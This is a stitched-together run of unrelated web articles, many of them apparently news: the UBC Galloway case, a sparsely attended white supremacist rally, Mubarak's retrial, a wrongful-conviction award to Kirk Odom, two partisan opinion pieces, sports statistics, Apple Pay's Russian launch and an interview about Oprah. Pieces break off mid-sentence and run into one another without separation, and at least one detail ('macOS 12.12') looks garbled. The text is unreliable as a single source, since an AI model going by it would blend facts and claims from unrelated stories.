The faculty association has filed a grievance in the case, which is set to go to labour arbitration in March, according to Ms. Connelly. "That is far too slow; it constitutes further punishment in legal limbo for Steven Galloway," she states.
When asked if the university believes the investigation was handled well, Ms. Danard responded, "UBC conducted an impartial, comprehensive investigation that included the hiring of a former justice of the BC Supreme Court."
Ms. Thien's letter, dated Sept. 26, received two immediate responses – one from Prof. Lyon, who says Ms. Thien's name has been removed from all creative-writing platforms. (It can, in fact, still be found – although in most instances, a 404 message pops up.)
A second response from Kathryn Harrison, acting dean of arts, seeks to assure Ms. Thien that UBC is a responsible employer that takes the conduct of faculty, staff and students seriously and that a thorough investigation was conducted, but privacy rights prevent a full explanation. "UBC can weather the criticism that flows from that," she wrote.
Then, nearly a month later, on Oct. 20 – a few hours after The Globe sent more than 40 questions to UBC about the investigation, including points brought up by her letter – Ms. Thien received an e-mail on behalf of UBC president Santa J. Ono from Herbert Rosengarten, executive director of his office.
"This is certainly a sad and regrettable chapter in the university's history," he wrote, reiterating that UBC is required by law to protect the privacy of employees and students unless they waive that privacy.
"All I am able to say is that the university was presented with evidence of behaviour that constituted a serious breach of trust, and sought to act fairly and responsibly in its handling of the accusations against Mr. Galloway. These were very carefully considered by the dean of arts," he wrote.
"In taking the steps that it did, the university believed, and continues to believe, that it acted in the best interests of its students."
There's a line in Pedal, Ms. Rooney's novel – which deals with sexual abuse – that was quoted in The Globe's rave review, and which one can't help but think of when considering this case. It's something her grad student protagonist says to her thesis adviser: "The truth is not simple."
JOHN LEHMANN/THE GLOBE AND MAIL
Editor's note: An earlier version of this story incorrectly said Hart Hanson was thanked by Chelsea Rooney in her acknowledgments for Pedal. In fact, she thanked Hugh Hanson. This article has been corrected.
Marsha Lederman is a Globe and Mail writer based in Vancouver.
Follow her on Twitter: @marshalederman
MORE FROM THE GLOBE AND MAIL
UBC must counter ‘mistrust’ on sexual assault policy, report says The University of British Columbia must make extensive changes, says a report from a university panel released in September. Simona Chiose examines the details.
‘Your offender isn’t a creep’: One woman’s story of reporting a sexual assault 2:00The White Man March, a worldwide white supremacist rally that was set to go off Saturday, may have actually happened. It's just that no one really noticed.
Organized by Kyle Hunt, host of an online radio station that's worried about the impending "destruction of the white race," the event was supposed to see throngs of white dudes in light khakis and sunglasses on the march in cities everywhere. Instead, it seems to have attracted fewer than 100 people, who mostly just took photos with their "diversity = white genocide" banners and went home.
Small groups showed up in Cincinnati, Ohio and Birmingham, Ala. (where police quickly removed their signs), and one guy from New Zealand participated, but that's the only evidence the racist rally ever happened.
Here's a video made to show the success of the event. (Spoiler: It doesn't.)
Meanwhile, a Twitter hashtag mocking the White Man Marchers, #WhiteManMarchProtestSigns, attracted a much bigger crowd.
STARTED FROM THE TOP NOW WE HERE #WhiteManMarchProtestSigns — Kevin Christy (@kevingchristy) March 15, 2014
[H/T: Raw Story, Photo Credit: White Man March]Egypt court overturns former leader Hosni Mubarak's jail sentence for corruption
Updated
Egypt's high court has overturned the only remaining conviction against Hosni Mubarak for graft and ordered a retrial in his embezzlement case.
The move opens the way for a possible release from jail for the ousted former president.
Mubarak, 86, was sentenced to three years in prison in May for diverting more than 100,000 Egyptian pounds ($14 million) worth of public funds earmarked to renovate presidential palaces and using the money to upgrade family properties.
His two sons, Alaa and Gamal, were given four-year jail terms in the same case.
The man who ruled Egypt for 30 years has been serving his sentence in a military hospital in Cairo.
Now that a retrial has been ordered, judicial sources say Mubarak could walk free as no convictions remain against him.
However, state media news agency MENA quoted an interior ministry source as saying Mubarak and his sons will remain in detention because the court did not order their release.
The decision to free Mubarak or his sons is now in the hands of the public prosecution or the court that retries them, the source said.
In November, another court dropped charges against Mubarak for conspiring to kill protesters in the 2011 revolt that toppled him from power, and cleared him in two other graft cases.
He faces retrial for a third and final time over charges of involvement in the death of demonstrators.
The decision to drop the charges in November sparked protests at universities across Egypt and prompted mockery online.
At least two people were killed and nine wounded when security forces fired tear gas and birdshot to disperse about 1,000 protesters trying to enter Tahrir Square, the symbolic heart of the uprising that ousted Mubarak.
The Court of Cassation, which ordered the retrial on Tuesday, did not say if Mubarak would be freed on bail pending his retrial in the outstanding cases.
But Mubarak's lawyer Farid al-Deeb told AFP that his client ought to go free as he "has already served" three years in prison.
Reuters/AFP
Topics: law-crime-and-justice, crime, community-and-society, leadership, egypt
First postedBased largely on the strength of hairs found at the scene of a taxi driver’s murder in 1978 and an unrelated sexual assault in 1982, Washington teenagers Santae A. Tribble and Kirk L. Odom spent much of the next three decades in prison for the separate crimes. Kirk Odom is photographed March 13, 2012 in Washington. Odom was wrongfully imprisoned for more than 22 years. (Alexandra Garcia/The Washington Post)
A D.C. Superior Court judge ordered the District government Friday to pay a record $9.2 million in damages to Kirk L. Odom, 52, who was wrongfully imprisoned for more than 22 years in the rape and robbery of a woman in her Capitol Hill apartment in 1981.
The amount, set by Judge Neal E. Kravitz, is the second — and largest — award in a case tried before a District judge under the District’s wrongful conviction law, which was approved in 1980. It also is one of the largest non-jury awards in an exoneration case in the United States.
“Mr. Odom spent more than twenty-two years of what should have been the prime of his adult life behind bars for a crime he did not commit,” Kravitz wrote in a 37-page opinion that recounted Odom’s “profound” physical and psychological suffering over the decades that included several prison rapes, his diagnosis with HIV — the virus that causes AIDS — suicide attempts, depression and family estrangement.
“It was readily apparent to the court at trial that Mr. Odom is only a shell of the young man he was at the time of his wrongful conviction, and only a shell of the grown man he would have become had he not been wrongly convicted and unjustly imprisoned,” Kravitz wrote.
In an interview, Odom, who was 18 at the time of the crime, said he welcomed word of the award from his attorneys, but added, “They can’t pay me enough money to give me back the years that I’ve lost.”
Odom, who lives in Southeast Washington with his wife of nearly 10 years, whom he met at an HIV support group, said he is attempting to reconnect with his adult daughter, born weeks before his original trial. “I’m just kind of continuing to move on with my life. It’s hard, but we’re working on it together, which is a good thing,” he said.
Odom’s case is among what are expected to be several civil claims against the District by former prisoners exonerated through DNA evidence.
The Washington Post has reported that Odom is one of five D.C. men convicted of rape or murder whose charges have been vacated since 2009 because they were based on erroneous forensics and testimony by an elite unit of FBI hair experts.
Odom was exonerated in July 2012 after DNA testing showed that he was innocent and that another man — a convicted sex offender — committed the crime for which he was tried and sentenced in 1982 and incarcerated until 2003.
Since December 2009, DNA results have cleared Donald E. Gates, then 58, of a rape and a murder for which he had spent 28 years in prison. D.C. Superior Court judges have also exonerated two other men, Santae A. Tribble and Kevin Martin.
Another murder conviction, that of Cleveland Wright, was vacated, and his attorneys with the Public Defender Service for the District of Columbia continue to ask the court to declare him innocent.
The ruling by Kravitz, appointed to the bench in 1998 by Bill Clinton, is the first time in two decades a prisoner’s claim under the D.C. Unjust Imprisonment Act has been decided by a judge at trial, and comes as courts around the country are coming to terms with how to respond to a growing number of DNA and other types of exonerations.
In ruling that under the D.C. law, prisoners have six months from their exoneration — and not their incarceration — to file suit, and that they can seek damages for time spent on parole as well as in prison and for physical and emotional injuries, Kravitz’s opinion could help establish a precedent for other District cases.
Kravitz spent pages starkly enumerating Odom’s suffering, which experts called “extreme,” caused by more than 20 years “enduring a world of deprivation permeated by sexual and physical violence and the terror it bred — a world in which he had no privacy, no control over his activities, no connection to his family and friends, and no opportunity to work or to raise his only daughter.”
Odom’s insistence that he was innocent led to a psychotic episode while he was imprisoned, and was repeatedly challenged when he was paroled as a registered sex offender, Kravitz wrote. His sexual victimization, HIV condition and sex offense conviction fed feelings of shame, stigma and distrust, similar to symptoms experienced by prisoners of war, the judge stated
Kravitz also provided one model for determining compensation, calculating damages at $1,000 per day of Odom’s incarceration, $250 per day of his time spent on parole and $200 per day between his exoneration and trial, citing Odom’s “serious and continuing” psychological injuries.”
In a statement, D.C. Attorney General Karl A. Racine said his office is reviewing Kravitz’s order.
Attorneys for the city had argued in Odom’s trial in November that he should be granted no more than the $1.1 million in federal damages he already received, because his case was handled by the U.S. attorney’s office, which conducts almost all criminal prosecutions in the city.
“We have great sympathy for Mr. Odom,” Racine said. “However, we respectfully believe that the District should not have to pay the amount ordered in a case in which it was not involved in prosecuting or convicting the plaintiff, and in which the federal government has already paid Mr. Odom the maximum amount identified by Congress for his incarceration.”
In his opinion, Kravitz concluded that the D.C. Council clearly intended its legislation to offer remedies beyond what was provided by federal law.
One of Odom’s attorneys in his civil damages suit, Anna Benvenutti Hoffmann, of the New York City law firm Neufeld, Scheck and Brustin, said, “It’s troubling to see the District try to disclaim moral and legal responsibility for Mr. Odom’s wrongful conviction.”
Hoffman added, “The District created the Unjust Imprisonment Act because it recognized the moral obligation D.C. has to an innocent person investigated by D.C. cops, convicted in a D.C. court by a D.C. jury, sentenced by a D.C. judge, and who spent many years wrongly incarcerated in a D.C. prison.”
Odom’s exoneration claim was led by Sandra K. Levick, chief of special litigation at the Public Defender Service.
In 2007, Nancy Gertner, then a federal judge in Massachusetts, awarded $102 million to four men and their survivors. The men were convicted of a mob murder they did not commit.LGBTory Canada marched in Ottawa’s Capital Pride Parade on August 27, along with two Conservative Party of Canada (CPC) MPs, the leader of the Progressive Conservative Party of Ontario (PCPO) Patrick Brown, and a number of other LGBT conservatives and allies. As has now become routine, activists from Black Lives Matter briefly disrupted the parade and presented organizers with a list of demands. The incident has been reported uncritically in the press and the underlying nature of the protest has gone largely unnoticed: BLM’s Pride protests are pushing a hard-left, anti-capitalist Marxist agenda.
This is how he CBC reported on the protest, and it’s typical of the coverage the event received:
The protesters provided a list of 20 demands, some which echoed similar demands by Black Lives Matter protesters in Toronto, including not allowing officers to march in uniform, have weapons or Pride-themed vehicles in the parade.
They also requested a bag check area for participants to leave their belongings, accessible childcare spaces and free transportation after Pride events.
One item the group wants reinstated is the terms of reference for the Ottawa Police Service’s GLBT liaison committee, along with a commitment to implement suggestions from the committee and incorporate LGBT members in police governing bodies.
Sounds fair enough – black people have a troubled relationship with the police in many cities, although one struggles to find a connection between black oppression and free bag check areas. Take a look, though, at some of the demands made in Ottawa:
Demand #9: “Prohibit companies who own or sell land from participating in Capital Pride events.”
Demand #11: “Prohibit banks from participating in the Capital Pride Parade”
Demand #20: “No logos printed on the design of the pride flag”
The rest are an assortment of anti-police sentiments and identity politics shibboleths, but it is the anti-capitalist theme that has gone mostly under the radar. As conservatives, we believe that a strong free-market economy offers the best opportunities to all people, gay or straight, black or white. Everyone who has a chance to participate in a capitalist economy benefits, and conservatives believe in removing barriers to that participation rather than dismantling the system altogether.
That is why it is so disturbing to us to see extreme leftists co-opting the LGBT community and purporting to speak on our behalf to push their Marxist agendas, and why we are concerned that civil authorities and Pride organizers cave in so easily to these protests. It’s why we march in Pride parades – to counter the accepted wisdom that the LGBT community as a monolithic whole leans left politically.
Extreme-left activist groups target Pride parades for a reason – they know that many in the LGBT political movement are consumed by identity politics and will acquiesce when these demands are made. Governments are reluctant to criticize for fear of being labelled homophobic or racist. The press accepts all this without investigation or analysis.
Just in case you’re skeptical about the Marxist undertones of the BLM protest in Ottawa, here’s one more sight from the Capital Pride parade that we saw as we marched past the BLM protesters just before they broke through a police cordon to block the street – a hammer & sickle flag flying over it all. I haven’t seen one media outlet report on this, and that is a problem.
Eric Lorenzen
Hastings County, OntarioFor the 10 million Britons suffering from arthritis, it may be cold comfort to know that they might not be alive today at all, were it not for their aching limbs.
Researchers in the US have discovered that a gene mutation which increases the risk of arthritis evolved in the Ice Age to help protect our ancestors from frostbite.
Around half of Europeans carry a variant of the GDF5 gene which nearly doubles the chance of developing painful joints, and also knocks around 1cm off height.
Although it may seem like an evolutionary disadvantage to be shorter and less mobile, in fact, it helped early humans to ward off the freezing temperatures of the north as they ventured out of Africa for the first time around 50,000 years ago.Wales' Joe Allen is helped off at the Cardiff City stadium on Monday night
Stoke City are assessing Joe Allen after he suffered a suspected concussion in Wales' World Cup Qualifier defeat to Republic of Ireland, according to Sky sources.
Allen is now an early doubt for Stoke's game at Manchester City at the weekend, having been substituted in the first-half following a heavy collision with David Meyler and will be checked over by club medics on Thursday.
The FA and Premier League have established clear'return to play' guidelines for players who are suspected to have suffered concussion.
Essentially, no player is allowed to return for a competitive game for at least six days.
There is no blood test or scan which can diagnose concussion. An assessment will be made on the basis of history and examination.
Stoke assistant Mark Bowen told the club website: "We haven't seen |
box (13) than Mario Götze has in total (12).
Possession loss
Unsuccessful touches
Christian Pulisic (27) Pierre-Emerick Aubameyang (26) Andrey Yarmolenko (17) Mario Götze (17) Shinji Kagawa (15)
Pulisic and Aubameyang work in tight spaces and that leads to some bad touches and loss of possession. Dan-Axel Zagadou is the highest listed defender with 11 unsuccessful touches.
Dispossessed
Christian Pulisic (30) Maximilian Philipp (17) Mario Götze (15) Andrey Yarmolenko (14) Pierre-Emerick Aubameyang (12)
At times, it seems Pulisic tries to do too much and dribbles into a wall. It’s not great that he leads the team in both possession loss metrics, but it also shows that he’s the one trying to make magic. Zagadou and Jeremy Toljan lead defenders with six dispossessions.
Fouls
Times fouled
Andrey Yarmolenko (23) Sokratis Papastathopoulos (21) Nuri Şahin (19) Mario Götze (18) 3 tied with (16)
Fouls committed
Sokratis Papastathopoulos (23) Pierre-Emerick Aubameyang (17) Andrey Yarmolenko (16) Nuri Şahin (15) Mahmoud Dahoud (14)
It’s not surprising to see Sokratis near the top of both of these lists as he always seems to be tangled with somebody. Yarmolenko’s tendency to dribble into traffic seems to yield his share of fouls. Aubameyang’s appearance on the fouls committed list is interesting. It seems he’s been called on for too many desperation challenges (the red card against Schalke comes to mind).
Successful tackles (with success rate)
Nuri Şahin (30, 61.2%) Marc Bartra (28, 80.0%) Sokratis Papastathopoulos (27, 93.1%) Julian Weigl (24, 64.9%) Marcel Schmelzer (21, 77.8%)
While Nuri Şahin has three more successful tackles than Sokratis, the Greek’s success rate is much better. Worth noting that Piszczek is 12-for-12.
Total interceptions
Marc Bartra (30) Sokratis Papastathopoulos (21) Marcel Schmelzer (20) Łukasz Piszczek (18) Nuri Şahin (18)
Last year’s leader, Julian Weigl, sits at #6. He had 70 interceptions last year and sits at just 16 at this season’s mid-way point.
Total clearances
Sokratis Papastathopoulos (50) Marc Bartra (36) Ömer Toprak (36) Marcel Schmelzer (28) Jeremy Toljan (22)
While Sokratis and Schmelzer are tied with 3.1 clearances per game, Toprak (3.3) and Neven Subotic (3.8) have more on a per-game basis.
Blocks
Total shots blocked
Ömer Toprak (4) Gonzalo Castro (3) 4 tied with (2)
Total crosses blocked
Jeremy Toljan (8) Marc Bartra (6) Marcel Schmelzer (5) Sokratis Papastathopoulos (4) 2 tied with (3)
Total passes blocked
Gonzalo Castro (15) Pierre-Emerick Aubameyang (13) Christian Pulisic (12) Marc Bartra (12) 2 tied with (11)
Last season, Dortmund had three players with a dozen blocked shots. This year, the team leader is on pace for 8. That’s a rather substantial dropoff. Castro, however, is on pace (30) to eclipse last season’s blocked pass leader (Weigl, 22).
Blocking crosses, meanwhile, has been a weakness of Schmelzer ever since (0.6 per game). Jeremy Toljan is showing more promise in that category (1 per game), which has him tied on first place with seven other Bundesliga players.
A bumpy campaign
This has obviously been a difficult Hinrunde, but somehow Dortmund still sits in third place. WhoScored.com provides a score for entire team performances and things started very well during the Bosz era. Over the first seven Bundesliga matches, the team had dropped only two points (in the draw to Freiburg) and had a rating of 7.28. During the next eight matches (during which only three points were earned), the club averaged a 6.57 rating. They had a similarly abysmal 6.65 rating in the Champions League group stage and crashed out.
During the eight-game winless streak, Dortmund had developed a bad habit of allowing second-half goals. While they had scored six second-half goals, they allowed twelve—and it wasn’t any better in the Champions League during that run.
Peter Stöger has only been in charge for three matches (Bundesliga clashes with Mainz and Hoffenheim and the Cup match against Bayern), but things are starting to look a bit better. The WhoScored rating for the two Bundesliga matches averaged 7.08 and the second half performances included four goals scored and none conceded. Add the second half goal against Bayern and suddenly they’re +5 in the second half over their last three matches.
How good is a 7.08 rating? Only four clubs in the world—Barcelona, PSG, Manchester City, and Juventus—have maintained a rating that high in league play all season. Dortmund’s early run of 7.28 is better than any club has maintained this season.
Peter Stöger will hopefully get some reinforcements for the second half both with new signings and players returning from injury (notably Marco Reus, Mario Götze, and the ageing-but-still-statistically-strong Łukasz Piszczek). Here’s hoping these numbers look much better at the end of the season.
You can follow Adam on Twitter @Fussballtwit.A strong, smart, competent woman was tapped to lead the Consumer Financial Protection Bureau. Naturally, Trump is trying to replace her with a man.
Donald Trump continues to pretend that laws somehow don’t apply to him. And in the latest example, his misogyny also comes into play.
Richard Cordray recently announced his intention to step down from his position as director of the Consumer Financial Protection Bureau, an agency set up after the 2008 Wall Street crash with the purpose of enforcing financial regulations and protecting consumers in the marketplace.
Cordray used his authority to appoint the agency’s chief of staff, Leandra English, as deputy director. English has a long career in public service, including senior positions at the Office of Management and Budget and the Office of Personnel Management.
According to the Dodd-Frank Act, which created the CFPB, the deputy director shall “serve as acting Director in the absence or unavailability of the Director.”
In a properly-running government which respects the rule of law, the White House would nominate a new director, who would then go through the Senate confirmation process. In the meantime, English would lead the CFPB.
But Trump is trying to do an end-run around the Dodd-Frank Act in order to prevent English from leading the agency at all, instead installing current White House Budget Director Mick Mulvaney as head of CFPB, effective immediately.
Why have a competent woman lead the agency when you could try to install a sycophantic crony hellbent on destroying that agency?
Mulvaney has called the CFPB “a joke” and would likely will follow in the footsteps of Scott Pruitt at the Environmental Protection Agency. Pruitt regularly undermines the mission of the agency he leads, so much so that even Fox News has called him out.
Mulvaney has already shown that he is generally incompetent at his job. He made a $2 trillion math error in the White House’s first budget. And when asked about cutting off funds to the Meals on Wheels program, Mulvaney lied to reporters, claiming that the program didn’t work.
Trump is seeking to use the Federal Vacancies Act, which “allows the president to install a temporary acting head of any executive agency who has already been confirmed by the Senate to another position, like Mulvaney has as leader of the Office of Management and Budget.”
It is likely that a federal court will need to intervene to determine which law takes precedent. The good news is that Trump has a poor track record in court.
The fact that Trump is seeking to install yet another man in a high-level position should come as no surprise. According to an analysis by The Daily Beast, 80 percent of all his nominees sent to the Senate for confirmation are men (women make up 51 percent of the U.S. population).
As the 2016 campaign showed, Trump is unnerved by strong, competent women.
He remains obsessed with Hillary Clinton, and is going to extraordinary, possibly illegal lengths, to prevent women from assuming positions of power.Russia on Tuesday became the latest major market to gain access to Apple Pay, with iPhone, Apple Watch and iPad owners in the region now able to provision Mastercard credit cards and use the service at participating retailers.
Announced through Apple's regional website, Apple Pay is being introduced to the Russian market through partners Mastercard and Moscow-based Sberbank. Plans for expansion are not mentioned, though Apple typically extends access to a variety of credit card operators and multiple local financial institutions in the weeks and months following an initial availability.At launch, participating retailers include ATAK, Auchan, Azbuka Vkusa, bp, Magnit, Media Markt, M.Video, TsUM and authorized Apple reseller re:Store. Touchless payments are expected to roll out at Electronics store Eldorado and Burger King in the near future.Apple Pay can also be used for in-app purchases, and web-based payments with macOS 12.12, though it is unclear as to how many Russian-developed apps and online vendors feature such integration at this time.Reuters reported on the Russia launch earlier today The arrival of Apple Pay in Russia is the latest development in a measured international rollout. Most recently the fledgling payments service was activated in Switzerland customers in July. A month earlier, Apple expanded backend integration to incorporate each of Canada's "big five" banking institutions, and before that Apple Pay gained support from five major banks in Singapore.Apple Pay launched in the U.S. in 2014 and has since expanded to cover nine markets including Australia, Canada, China, France, Hong Kong, Singapore, Switzerland and the U.K. Today's addition brings the tally up to ten.As Apple Pay continues to gain traction domestically, Apple is focusing future growth efforts in major markets in Asia and Europe. The endgame, according to Apple Pay chief Jennifer Bailey, is to deliver Apple Pay to every major market in which Apple products are sold.Looking ahead, New Zealand is thought to gain access sometime this fall through a partnership with ANZ, which in April became the first of Australia's big four banks to adopt Apple's service. Reports last week claim the company is also in discussions to bring Apple Pay to Taiwan and KenyaMagnum Research DE50TGTS Desert Eagle XIX 7+1 50AE 6"
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This interview was conducted in conjunction with the SSRC’s project on Spirituality, Political Engagement, and Public Life.—ed.
* * *
NS: Tell me about what brought you to the study of Oprah. Was it fandom, or irony, or what?
KL: Undergraduate irony. As a student at the University of Chicago, my dorm had a communal room with a television, and Oprah repeated late at night on the local ABC affiliate. I would be sitting with a group of friends who were, because of the Common Core, all reading the same high-brow social and political theory and applying it colloquially to The Real World: Boston. Few were as captivated as I was by Oprah; I think it reminded them of their moms. But to me it was an intellectual playground, hitting on everything I was reading while also queering, contesting, and troubling those readings. Then, in graduate school, it became a dorky parlor trick for me to connect Oprah with almost any aspect of U.S. religious history, from Wovoka to Carrie Nation. As I began to teach courses in religious studies, I found she was a great way to test theories of myth, ideology, and ritual for students new to religious studies abstractions. So, since the early nineties, I haven’t been able to get her out of my head—she seemed pervasive in the world and persuasively central to any given narrative of the West.
NS: Speaking of ritual, of what did working on the book consist? Was it a lot of TV-watching?
KL: Starting in 1998, I began to take notes when I would watch. I have those notebooks, and they’re comic exercises in scientism. I started doing a very ordered appraisal, using different-colored pens for different kinds of claims that were being made. If she said “This I believe,” or “What I know for sure,” those would be in purple. If she complimented someone, I would put that in a different color. If she interpreted a text or something that was said, I would put it in another color. It was a rudimentary study of her language, as well as of the ways that other women she spoke with became converted to her language games. I have five solid years of notes for every episode and a ten-year archive of topics that the show covered, with key transcripts for the episodes that I thought were particularly emblematic. Meanwhile, I was reading along with the book-club, buying her magazine, and consuming her celebrity scat from tabloids.
NS: What is it about how American religious history is studied now that has left Oprah not well-enough understood?
KL: I would say that the “how” of what we study is less problematic than the way we cordon our topics, which is very much an inheritance of our role as seminary church historians. I want to see more books written about objects that seem unlikely for religious studies, such as those seemingly in the purview of pop culture, but also those from economic and political arenas. Moreover, I think our disposition toward our subjects is often too tender for our own good. If, on the one side, we’ve been formed by our seminarian genealogies, on the other, we inherit an abused mentality, one that flinches constantly at the possibility that elsewhere in the humanist ranks we’re being mocked for proximity to the religious subject. And so we appear, I think, often too defensive of our topics, believing they need caretaking before exposure to the imagined Marxist menace. So, if there is a critical edge to the book, it is to goad us to be less worried about explaining our subjects to their cultured despisers, and instead to pursue the mediations of their belief systems, the multiple functions of their ritual reiterations, and the social systems to which they reply and in which they participate.
NS: You made Oprah’s message and its delivery your focus. But what about the believers—in this case, the viewers?
KL: I briefly toyed with the idea of doing an ethnography, where I would look at how women consume and conceive of Oprah, particularly in the context of their religious lives. I thought I would then explore the sort of complicated descriptions of agency offered by Marie Griffith in God’s Daughters or Saba Mahmood in Politics of Piety. I decided not to do that, though not because there aren’t a lot interesting things one could learn from that kind of study. Ultimately I decided that the interesting thing about Oprah was that such ethnography of her consumers was incorporated into the commodity itself, as lay piety (its failures and successes) is the central subject of her exhibitions. What I thought was intellectually and politically needed was a concise examination of her precisions and consistencies, of how Oprah explained a normal for her audience despite their possible idiosyncrasies. In an era in which mass mediation is the primary format for encounter with difference and experience, knowing what that mediation mediates seemed pretty exigent to me.
NS: As an American woman, do you feel some responsibility to confront what Oprah represents, in the form of an active, engaged social critique?
KL: It is incredibly important that we—women, men, believers, heathens, citizens—think, and think critically, about the female complaint, especially as it takes this specific form in the public sphere. Oprah is not just Oprah—she represents what has come to be a naturalized logic for women’s suffering. I would be lying if I didn’t say that writing this book was, for me, an act of feminism. But I would say that it is more important to me that it be understood as an act of criticism connected to the deep tissue of our national political and economic imaginary. So, yes, this is an act of social critique. For as much as the solo striving hungry female is the object here, it is the silence of her sociality—all the while making commodity of her social receipt and struggle—that disturbs me. On her message boards, everyone testifies, but they don’t form social communities, social insurrection, or social protest. The social is incredibly absent from Oprah, even as she praises the idea of girlfriends, of groups, of clubs. The social is a rhetorical formulation leaving women exposed in their extremity without any public held accountable.
NS: Oprah’s broadcast TV show is ending and now she is going on to her own cable network. Is this another symptom of fragmentation and over-individualization?
KL: One thing that’s said about Oprah is that she uses media so well. No, I don’t think that’s quite enough—she invents the medium. Now she is conjuring the very network that will represent, I would argue, the future of the way networks will be construed. Even as her physical self slowly evaporates, she becomes increasingly an icon, a brand. One Oprah will fade, and another Oprah will strengthen and redact, with her physicality dissolving to an eventual brand “O.” That kind of programming for the self—which seems highly particularized, but of course prescribes its own particularization—is the genius of Oprah Winfrey.
NS: Something that’s striking in your book is her insistence, always, that she’s going by her gut, that she’s not letting herself be bought, and that she’s putting herself right there in front of you. But if she becomes a brand and a caricature while she’s still alive, how much control could she actually have?
KL: Her first-person is always authentic in its anxieties and authoritative in its total control. Despite the fact that she hasn’t gone to business school, she leads one of the most successful companies in modern America and is the first black billionaire. All of these things testify to acumen, but her answer is, “There is no calculation. There is no logic. There is no plan.” It’s a very typical maneuver of the neoliberal moment, eschewing the monolith you maintain with smiling billboard nonchalance. She is inventing systems for women’s lives constantly: schedules, to-do lists, and prescriptions for everything from how you order your bedside table to your backpack to your child’s lunchbox. All the while, she’s chanting, “Girls, I’ll guide you to your total originality.” There are episodes where she goes behind the scenes, where she shows us Oprah in her natural state, without makeup. It’s tacitly revealing the marionette strings of her production, suggesting she’s all-access-to-you, but what access do you have to that natural state being broadcast? Cost is only one of the barriers, as she holds up her specific racial self, gendered self, psychological self as the only one who can really be Oprah.
NS: Do you think that when she moves to cable, among the Rachel Maddows and Bill O’Reillys, she might become more overtly political?
KL: No, I don’t. Barack Obama has had to move away from the vague generalities of campaigning, but Oprah never has to make those compromises; that’s why she never seeks political office. Notice Sarah Palin has finally come on Oprah’s show—and when? When Palin begins working for Fox News, adopting the very media gambit in which Oprah herself participates. She becomes acceptable once she too is forced to become formatted (however polemically still) for the masses. In her interview with Palin, Oprah definitely put Sarah through the ringer, but she gave her plenty of time to restate her memoir, to become irreducible and easy-to-consume—“Ladies, we all know her, the Working Mother.” When Palin comes on the show now, they can talk about hair and shoes and kids. Our practices of consumption are a universal form that allows us to discover other things we share. We love children. We want peace for mankind. We’d prefer if people didn’t starve. These values don’t have a particular party orientation, for Oprah would not allow herself to become exclusive to any ethnic or political marker. She speaks for women and children, which for her is a language of peace that should break down congressional impasses.
NS: We’re certainly in a time of congressional impasses. The president is calling for strength and pragmatism. Is the spirit of Oprah’s politics, which catapulted Obama during the campaign, able to stick with him? Does she offer a viable politics for passing health-care reform? Or does she throw up her hands and leave that business—I hate to say it—to the men?
KL: I would probably press back and say, who in the sphere of popular culture—who with her mass appeal and consumption—is, actually, politically consequential? Characters like Rush Limbaugh and Glenn Beck are in some ways allowed more extremity, more particularity, but they too become caricatures in that particularity, and thus again some sort of generic disenfranchised populist. These are two different forms of gargoyle, and neither one is more or less misshapen than the other. If the question is whether or not reformist politics are still best purveyed by a certain form of male embodiment—probably, but that doesn’t mean that women can’t ascend to it. Indeed, Oprah is a political formatting some women use—Sarah Palin is an Oprah kind of woman in a lot of ways. If the question is sustainability, Oprah’s politics are sustainable precisely because they aren’t contingent upon any legislation. They rest upon the discursive experience of pain and difficulty. Palin’s rallying cry as she enters the public sphere is, “I am a mother who made hard choices, I didn’t abort my child.” Hillary Clinton—less of an Oprah woman, but one corrected over time to become one—rides upon the coattails of marital misery. As long as the success of women in the public sphere depends on that narrative of personal discomfort, Oprah continues to control the game.
NS: Recently there has been a flurry of polemics fixing blame on the prosperity gospel and positive thinking in American culture for the financial crisis and much else, like Barbara Ehrenreich’s Bright-Sided and Hannah Rosin’s denunciation of prosperity preachers in The Atlantic. Do you locate Oprah in that milieu? Do you think the kind of neoliberalism she preaches is basically delusive, even dangerous?
KL: Oprah is a passionate advocate for a kind of prosperity gospel, insofar as she believes in a correlative relationship between one’s disposition and one’s materiality. However, to conflate her with the current market crisis would be to oversimplify the knotty doctrines of her empire. Her advice is ruthlessly pragmatic, even if it’s wrapped in mystical dreams of the miraculous Secret. Suze Orman appears in every other episode about money, a wry voice about balancing a budget, warding off credit card compulsion, and sensible planning for the independent woman. The liberation of women from economic ties that bind is an incredibly important message of the show and, I would argue, for the broader discourse of liberal economics. Women in particular are struggling over the issue of consumption, which was a key part of the economic crisis. But the brilliant wickedness of Oprah is that she’s simultaneously telling you how to save and how to spend. At the end of an episode, once a couple has gotten control over their credit cards, there has to be some way of finding a reward for them. Peace of mind is one thing, but wow, much better if they get to take a road trip with their new Hyundai! Whatever the counsel is, the glamorous and the visual are the conclusion, creating a tableau of success even amidst practices of austerity.
NS: So all else becomes subservient to the commercial?
KL: Her reply would be that, no, all else becomes subservient to the spirit. The first question everyone should ask is, “What is my spirit telling me to do?” How do you tap into your spirit? How do you re-enchant your spirit after being pulled upon, tugged upon, by the false pragmatism of men, family, work? The replies to that are frequently flattered by the commercial, but not solely comprised of it.
NS: And religion? Is she “spiritual but not religious”?
KL: Oprah is a hearty critic of religion, and her criticisms of religion echo a lot of people who self-identify as “spiritual but not religious.” She worries in particular about all the ways women are structured and institutionalized, religious and otherwise. Against such straps, she insists on “spirit” as some liberation from those strictures. I think, in the end, that my book is in part a study of the commercial contours of that sort of discourse—for Winfrey and, I argue, much of American religion. In the language of spiritual liberation I think a lot of other prison houses are encoded. “Spirit” silences almost every other kind of structural thinking. Not just religious thought, but also political, sociological, racial, and gendered thinking. For Oprah’s critics, she often comes across as this nouveau-riche spiritual mountebank: the endless decadence, the soft pillows, the candles, the overwhelming brocade. But what I’m more interested in is why this soft place?
NS: Your prose reads as scholarship inflected with rhapsody, as if you’re acting out—or even experiencing—the effect of Oprah. Does rhapsody count as scholarship?
KL: For me, the scholars that have been the most exhilarating and maddening have been these who were absorbed enough by their material to communicate its logic to the reader with an equal commitment to discipline and affective disquiet. I think, here, of Lauren Berlant’s astonishing trilogy on national sentimentality; of Robert Orsi’s intimate articulations of Catholic piety; and of the fiction and nonfiction of David Foster Wallace. While I could speak academically about a lot of academics, on the subject of Wallace I’ll probably quickly become obsequious. Suffice it to say that I think the best humanism pursues some version of what he accomplished in his Brief Interviews with Hideous Men. So, to answer your question, I think rhapsody—passion—is something obsessively detailed, careful, and devotedly disturbing. If rhapsody is another way to describe the orgiastic demographer, then yes, I think it is scholarship, and I’m signed on. I will always cajole students to map their own objectivity as an important conjure, and to find ways to invite their imagined readers into the real, systematic, trickster-work of knowledge production.
NS: What would Oprah think of your book?
